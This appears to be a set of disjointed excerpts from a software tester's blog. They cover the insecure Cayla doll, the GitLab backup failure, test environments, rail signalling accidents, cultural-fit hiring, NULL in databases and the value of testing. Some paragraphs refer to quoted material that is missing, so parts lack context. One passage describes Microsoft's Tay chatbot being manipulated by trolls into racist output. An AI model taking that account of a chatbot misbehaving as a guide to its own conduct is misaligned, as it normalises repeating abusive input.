An official watchdog in Germany has told parents to destroy a talking doll called Cayla because its smart technology can reveal personal data.

The warning was issued by the Federal Network Agency (Bundesnetzagentur), which oversees telecommunications.

Researchers say hackers can use an unsecure bluetooth device embedded in the toy to listen and talk to the child playing with it..

In the not-so-distant past something like this would have been a plot device in a science-fiction novel. Nowadays it’s the sort of thing that makes writers of near-future science fiction throw up their hands in despair.

One element in the chain of events that led to the database crash raises eyebrows; an attempted hard-delete of the user account of a GitLab employee who had been maliciously flagged for abuse by a troll. It boggles the mind that a system would do such a thing without any human intervention. That’s either a serious coding error or some dangerously naive requirements analysis.

And this is especially damning.

Why was the backup procedure not tested on a regular basis? – Because there was no ownership, as a result nobody was responsible for testing this procedure.

When some important part of a complex system hasn’t been tested thorougly enough, it’s easy to blame the testers. But the blame usually lies higher up the project management chain.

Invariably, when I see a lot of developer effort in production support I also find an unreliable QA environment. It is both unreliable in that it is frequently not available for testing, and unreliable in the sense that the system’s behavior in QA is not a good predictor of its behavior in production.

He describes a lot of the pitfalls in maintaining good enviroments, from test data getting overwritten to anonymisation of production data compromising data integrity. Knowing what needs to be done to build and support good test enviromments is an important tester skill.

From my experience, he’s dead right about relationship between the stability of the test environment and the number of problems that escape into production. This is especially true when it comes to things like interfaces with third-party systems. There is a lot of difference between running an instance of the third party system on one of your own servers and anly having access to a system on a remote server where you can’t change the setup or configuation data.  And the number of bugs did indeed reflect this.

Worse still, when there’s no access to the third-party system at all, and the best you can do is write a crude emulation yourself. I still have nightmares about that one….

On the RMWeb forum, which has a lot of knowledgeable people including many who work in the rail industry, the resulting discussion on signalling systems for single-track lines and how they might be improved includes positive words for the software testing profession.

The system itself would be cheap, but the testing needed to demonstrate that it’s safe (and idiot proof) to the appropriate regulatory authorities is going to be quite expensive. Proper software testers(*) aren’t cheap.

From what I can tell, the Italian system appears to be a variation on the Telegraph and Train Order system without the use of either a physical single-line token or a virtual equivalent, a practice long since superceded in Britain. There is a far higher risk of human error leading to a fatal accident.

Though there have been quite a few head-on collisions in Britain resulting from conflicting movements across junctions, including the Ladbrooke Grove disaster, I can only think of two single-line collisions in the past century, at Abermule in 1921 and Cowden in 1994. That’s some safety record.

The preliminary report makes it sound like an archetypal “Swiss cheese” incident.

If you imagine safety represented by several layered slices of Emmental cheese; each hole in the cheese represent an opportunity for human error to creep in, but an accident can only get through when all the holes line up. The more layers of safety the better.

This was what seems to have happened at Plymouth.

The normal pattern of operation was disrupted due to scheduled maintenance on the lifts, causing trains to be diverted away from their regular platforms. The signaller wrongly estimated the amount of space in the platform behind the express, and thought the local train would fit in behind it. The driver of the local train wasn’t expecting the platform to be part-occupied by another train. And because the approach at the western end of the station is on a very sharp curve, the driver didn’t realise the express was on the same track until it was too late to stop.

Aside from obvious conclusion that there are some awful people on 4chan, what can the testing community learn from this?

One seems to be that if you carry out testing in a very public space, any testing failures will be very public as well. An artificial intelligence turning into a noxious racist is a pretty spectacular fail in anyone’s books. Given the well-known nature of the bottom half of Twitter, it’s also an all-too-predictable failure; people in my own Twitter feed express very little surprise over what happened. It’s not as if anyone is unaware of the trolls of 4chan and the sorts of things they do.

What they should have done is another question. Tay was a self-learning algorithm that merely repeated the things she’d been told, without any understanding of their social contexts or emotional meanings. She’s like a parrot that overhears too much swearing. It meant that if she fell in with bad company at the start, she’d inevitably go bad.

The most important lesson, perhaps, is that both software designers and testers need to consider evil. Not to be evil, of course, but to think of what evil might do, and how it might be stopped.

First, in response to some rather heated discussion on Twitter, a post from last year by Adam Knight in defence of the principle of hiring for cultural fit. It’s a concept that comes in for a lot of justified criticism, going from rejection of well-qualified candidates for superficial reasons that have nothing to do with their ability to do the job, to the much more serious concern over bias in terms of gender and ethnicity. Adam Knight recognises those concerns, but stresses that cultural fit should be about soft skills and style of working, not stereotypes.

Second, the always excellent  Mike Talks writes about blogging itself and asks “Are you your own Mary Sue?“. He users the example from the world of music; the famous Köln concert by jazz pianist Keith Jarrett, and imagines the story of the circumstances leading up to the performance from the different perspectives of Jarrett humself, and concert organiser Vera Brandes.

It may have a point when it comes to object-orientated programming languages, but when comes to databases, the suggestion that the concept of NULL is a dangerous bad idea is nonsense. The fact that some common beginners’ mistakes involve a lack of understanding over how to use NULL does not change this.

NULL has meaning.

Precisely what it means is dependent on the context, but it still has meaning. Consider an End Date. What does it mean if you have no End Date? It means, perhaps, that you are still employed, or maybe even still alive. Defaulting to some arbitrary date far, far into the future in this context is nothing but an ugly kludge. You still have to write code to handle that value, and you’ve probably got a greater potential for error than if you’d just used NULL.

NULL has meaning.

Another example. Imagine a stock control system. Each stock item has a re-order level. When the stock level reaches this point it will trigger an automated re-order process.

Now imagine there are some stock items where you want to keep track of how many you purchase and use, but you don’t want to hold them in stock; perhaps the value is high and lead time is low, and you don’t use them frequently enough to want that much capital tied up in inventory. You will only raise purchase orders manually when you know you’re going to need the thing.

So most of the time the stock level is going to be zero. But you don’t want that automated re-order process to touch it. What value do you give the re-order level?

Now, you could set it to -1, and one stock control system I know did precisely that. But that’s still a kludge, and there are scenarios that will break it.

What if the stock transactions are transmitted via a mobile network that’s not 100% reliable, which means they’re not guaranteed to be real-time and may be received out of sequence? Again, I know a system that works like this. For one thing you can’t enforce a database constraint that makes sure the stock quantity never goes negative. It’s possible that you might end up with a stock level of -1 for a short period because a receipt transaction has been delayed by an electronic sargasso. Then there’s a window in which that pesky re-order process could turn up and do mischief.

If you’d just let the re-order level be NULL for those items you only want to re-order manually, you would not have that potential bug.

This is why we have NULL.

Because of this rogue piece of wire, a signal showed green when it should have showed red, at the height of the Monday morning rush hour. A packed commuter train ran past this wrongly-green signal and collided at speed with the train in front. The Clapham Junction rail crash killed 35 people and injured nearly 500.

This is why we test.

This shouldn’t need to be said. But there are still people out there who really ought to know better who insist, despite all evidence, that testing is not a worthwile activity.